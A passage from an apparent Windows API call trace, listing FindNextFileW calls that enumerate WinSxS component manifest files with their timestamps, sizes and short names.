ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfd6da7f8, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x98d, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-iscsi-adm.resources_31bf3856ad364e35_6.1.7600.16385_en-us_0708866546abddd4.manifest", cAlternateFileName="AMB01F~1.MAN")) returned 1 [0186.875] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92d6816a, ftCreationTime.dwHighDateTime=0x1ca042a, ftLastAccessTime.dwLowDateTime=0x7df9b61e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x92d8e2c7, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0xab9, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-iscsi-adm_31bf3856ad364e35_6.1.7600.16385_none_60a7d355cef1de4d.manifest", cAlternateFileName="AM450C~1.MAN")) returned 1 [0186.875] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89d31641, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xe4ab3fc, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x5c407fbb, ftLastWriteTime.dwHighDateTime=0x1ca0429, nFileSizeHigh=0x0, nFileSizeLow=0x170d, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-iscsi_initiator_ui_31bf3856ad364e35_6.1.7600.16385_none_33e01c5875c2e5cb.manifest", cAlternateFileName="AM27B7~1.MAN")) returned 1 [0186.875] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf92b6bb7, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf98ad89f, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf92b6bb7, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x860, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-isoburn.resources_31bf3856ad364e35_6.1.7600.16385_en-us_2ce31c084eed585c.manifest", cAlternateFileName="AM1610~1.MAN")) returned 1 [0186.875] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf42e11c, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0xaf42e11c, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0xaf45427c, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x1530, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-isoburn_31bf3856ad364e35_6.1.7601.17514_none_4458ac8eafdacbdd.manifest", cAlternateFileName="AMECAA~1.MAN")) returned 1 [0186.875] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x495534a0, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x800fd73e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x49579601, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x1767, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-itvdata_31bf3856ad364e35_6.1.7601.17514_none_9d713d0f6f511c88.manifest", cAlternateFileName="AMBBF6~1.MAN")) returned 1 [0186.876] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfea16731, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfee8f8df, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfea16731, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x859, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-j..buggeride.resources_31bf3856ad364e35_8.0.7600.16385_en-us_8a9d42f52c647e6a.manifest", cAlternateFileName="AM8080~1.MAN")) returned 1 [0186.876] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c812f59, ftCreationTime.dwHighDateTime=0x1ca042a, ftLastAccessTime.dwLowDateTime=0x1e374ba4, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x3c885370, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0xddc, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-js-debuggeride_31bf3856ad364e35_8.0.7600.16385_none_b1a7703a8f67d693.manifest", cAlternateFileName="AM4E26~1.MAN")) returned 1 [0186.876] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5b6599c, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf6884934, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf5b6599c, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-k..-plug-ins.resources_31bf3856ad364e35_6.1.7600.16385_en-us_1a072f50e429e2e0.manifest", cAlternateFileName="AM4B23~1.MAN")) returned 1 [0186.876] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdc60d0, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x8bdc60d0, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x608854fb, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x7534, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-k..cessor-power-events_31bf3856ad364e35_6.1.7600.16385_none_0d5777c075231add.manifest", cAlternateFileName="AM1E0E~1.MAN")) returned 1 [0186.877] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2f433b4, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf35d2b80, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf2f433b4, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x7a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-k..container.resources_31bf3856ad364e35_6.1.7600.16385_en-us_1116988a4eeaeeb5.manifest", cAlternateFileName="AM80DF~1.MAN")) returned 1 [0186.877] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3d6d65b, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf4364343, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf3d6d65b, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x7c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-k..container.resources_31bf3856ad364e35_6.1.7600.16385_en-us_5417aa5890031e3c.manifest", cAlternateFileName="AM073F~1.MAN")) returned 1 [0186.877] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ecb1c99, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x5ecb1c99, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x5ed240b9, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x5864, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-k..eo-capture-plug-ins_31bf3856ad364e35_6.1.7601.17514_none_5390a1e85738301f.manifest", cAlternateFileName="AMAD70~1.MAN")) returned 1 [0186.877] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdc60d0, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x1219bf68, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x9db51b17, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0x8a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-k..er-events-container_31bf3856ad364e35_6.1.7600.16385_none_27f8f387ab3ef424.manifest", cAlternateFileName="AM9DDF~1.MAN")) returned 1 [0186.878] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bdc60d0, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x15c2a614, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x5c7d8109, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0x8c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-k..er-events-container_31bf3856ad364e35_6.1.7600.16385_none_2d3ed0c0ffdbb5d9.manifest", cAlternateFileName="AMF991~1.MAN")) returned 1 [0186.878] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81798e07, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x81798e07, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x541e9900, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0xf17, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-k..ticaldevicedatabase_31bf3856ad364e35_6.1.7600.16385_none_22b09860c3a337e9.manifest", cAlternateFileName="AME209~1.MAN")) returned 1 [0186.878] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd700ab1, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfdf805e2, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfd700ab1, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x996, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-kerberos-adm.resources_31bf3856ad364e35_6.1.7600.16385_en-us_f44896076989b4c6.manifest", cAlternateFileName="AM1837~1.MAN")) returned 1 [0186.879] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b91f978, ftCreationTime.dwHighDateTime=0x1ca0429, ftLastAccessTime.dwLowDateTime=0x7de6a2a6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8b91f978, ftLastWriteTime.dwHighDateTime=0x1ca0429, nFileSizeHigh=0x0, nFileSizeLow=0xac5, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-kerberos-adm_31bf3856ad364e35_6.1.7600.16385_none_b6cdaabd96959fad.manifest", cAlternateFileName="AMD07F~1.MAN")) returned 1 [0186.879] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51356228, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x51356228, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x5137c389, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x49e, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-kernel-csd_31bf3856ad364e35_6.1.7601.17514_none_6d91f82cda5fc929.manifest", cAlternateFileName="AM633B~1.MAN")) returned 1 [0186.879] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8174cb4d, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x8174cb4d, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x6072e8b6, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-kernel-io_31bf3856ad364e35_6.1.7600.16385_none_9a0bb16a88d7d207.manifest", cAlternateFileName="AMF798~1.MAN")) returned 1 [0186.879] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bb010fd, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x5bb010fd, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x5bb2725d, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x93c, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-kernel-licensing_31bf3856ad364e35_6.1.7601.17514_none_53b6311ee162b7f3.manifest", cAlternateFileName="AM345C~1.MAN")) returned 1 [0186.880] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81772caa, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x81772caa, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x60754a13, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x76ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-kernel-pnp_31bf3856ad364e35_6.1.7600.16385_none_6ace4296dde065a5.manifest", cAlternateFileName="AMD02F~1.MAN")) returned 1 [0186.880] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bd9ff73, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x8bd9ff73, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x6085f39e, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0xfe32, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-kernel-power-events_31bf3856ad364e35_6.1.7600.16385_none_0ef0bd95ab3a6d9e.manifest", cAlternateFileName="AMAD62~1.MAN")) returned 1 [0186.880] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81798e07, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x81798e07, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x6077ab70, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x13ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-kernel-power_31bf3856ad364e35_6.1.7600.16385_none_c499d333052d5420.manifest", cAlternateFileName="AM122C~1.MAN")) returned 1 [0186.880] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81798e07, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x81798e07, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x607c6e2a, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x1cd9, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-kernel-tm_31bf3856ad364e35_6.1.7600.16385_none_9992c1b28932d2b4.manifest", cAlternateFileName="AM58F9~1.MAN")) returned 1 [0186.881] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81798e07, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x81798e07, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x607c6e2a, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x91e, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-kernel-wmi_31bf3856ad364e35_6.1.7600.16385_none_6a823250de195c7e.manifest", cAlternateFileName="AMF05A~1.MAN")) returned 1 [0186.881] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1a63688, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0x1d72b304, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xf1a63688, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x9a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-kernel32.resources_31bf3856ad364e35_6.1.7600.16385_en-us_990fb5253ef5803e.manifest", cAlternateFileName="AMA0F4~1.MAN")) returned 1 [0186.881] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4763b507, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x4763b507, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x47661667, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x1334, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-kernel32_31bf3856ad364e35_6.1.7601.17514_none_f1e3eab06ceb12ef.manifest", cAlternateFileName="AM4336~1.MAN")) returned 1 [0186.881] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5acceb8, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0x1d72b304, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xf5acceb8, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x9ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-kernelbase.resources_31bf3856ad364e35_6.1.7600.16385_en-us_d411ac56d039353c.manifest", cAlternateFileName="AMC069~1.MAN")) returned 1 [0186.882] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2f5a491, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0xa2f5a491, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0xa2f805f2, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0xab2, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-kernelbase_31bf3856ad364e35_6.1.7601.17514_none_85287dc2cb339adb.manifest", cAlternateFileName="AM895B~1.MAN")) returned 1 [0186.882] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2fdbe98, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf35d2b80, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf2fdbe98, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x75f, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-kernelceip.resources_31bf3856ad364e35_6.1.7600.16385_en-us_3a93155862b96772.manifest", cAlternateFileName="AM3A7F~1.MAN")) returned 1 [0186.882] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x813e0bf2, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x13a57cb0, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfcd76d5, ftLastWriteTime.dwHighDateTime=0x1ca0429, nFileSizeHigh=0x0, nFileSizeLow=0x159b, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-kernelceip_31bf3856ad364e35_6.1.7600.16385_none_8332b3fcce26a811.manifest", cAlternateFileName="AM91CC~1.MAN")) returned 1 [0186.882] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c0823e7, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x5c0823e7, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x5c0ce6a8, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0xaf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-kernelmode-minimal_31bf3856ad364e35_6.1.7601.17514_none_620190103c5fa627.manifest", cAlternateFileName="AMF24D~1.MAN")) returned 1 [0186.883] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x877da012, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x877da012, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xc5d8f860, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0x125d, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-kernelstreamingsupport_31bf3856ad364e35_6.1.7600.16385_none_bde9acc8f46cb6db.manifest", cAlternateFileName="AM4463~1.MAN")) returned 1 [0186.883] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c528ec7, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x6c528ec7, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x6c575188, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0xa33, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-kernelstreaming_31bf3856ad364e35_6.1.7601.17514_none_b5a6c7c6ac83a58e.manifest", cAlternateFileName="AM7D78~1.MAN")) returned 1 [0186.883] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5cbf6ddc, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x5cbf6ddc, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x5cc8f35d, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x15ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-kernel_31bf3856ad364e35_6.1.7601.17514_none_6b5e3ad61daaed36.manifest", cAlternateFileName="AM3E30~1.MAN")) returned 1 [0186.883] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3d6d65b, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0x1d72b304, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xf3d6d65b, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x942, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-keyiso.resources_31bf3856ad364e35_6.1.7600.16385_en-us_667ff2e88dc1b9c6.manifest", cAlternateFileName="AM5689~2.MAN")) returned 1 [0186.884] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2f8f926, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf35d2b80, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf2f8f926, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x85a, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-keymgr.resources_31bf3856ad364e35_6.1.7600.16385_en-us_4a5044dc59c92ce3.manifest", cAlternateFileName="AM7413~1.MAN")) returned 1 [0186.884] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8149f2c3, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x9161008, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf1efdbf9, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0xf31, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-keymgr_31bf3856ad364e35_6.1.7600.16385_none_6c5421201eb439d0.manifest", cAlternateFileName="AM7EBC~1.MAN")) returned 1 [0186.884] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5f3ef7, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0xe5f3ef7, ftLastAccessTime.dwHighDateTime=0x1cb892a, 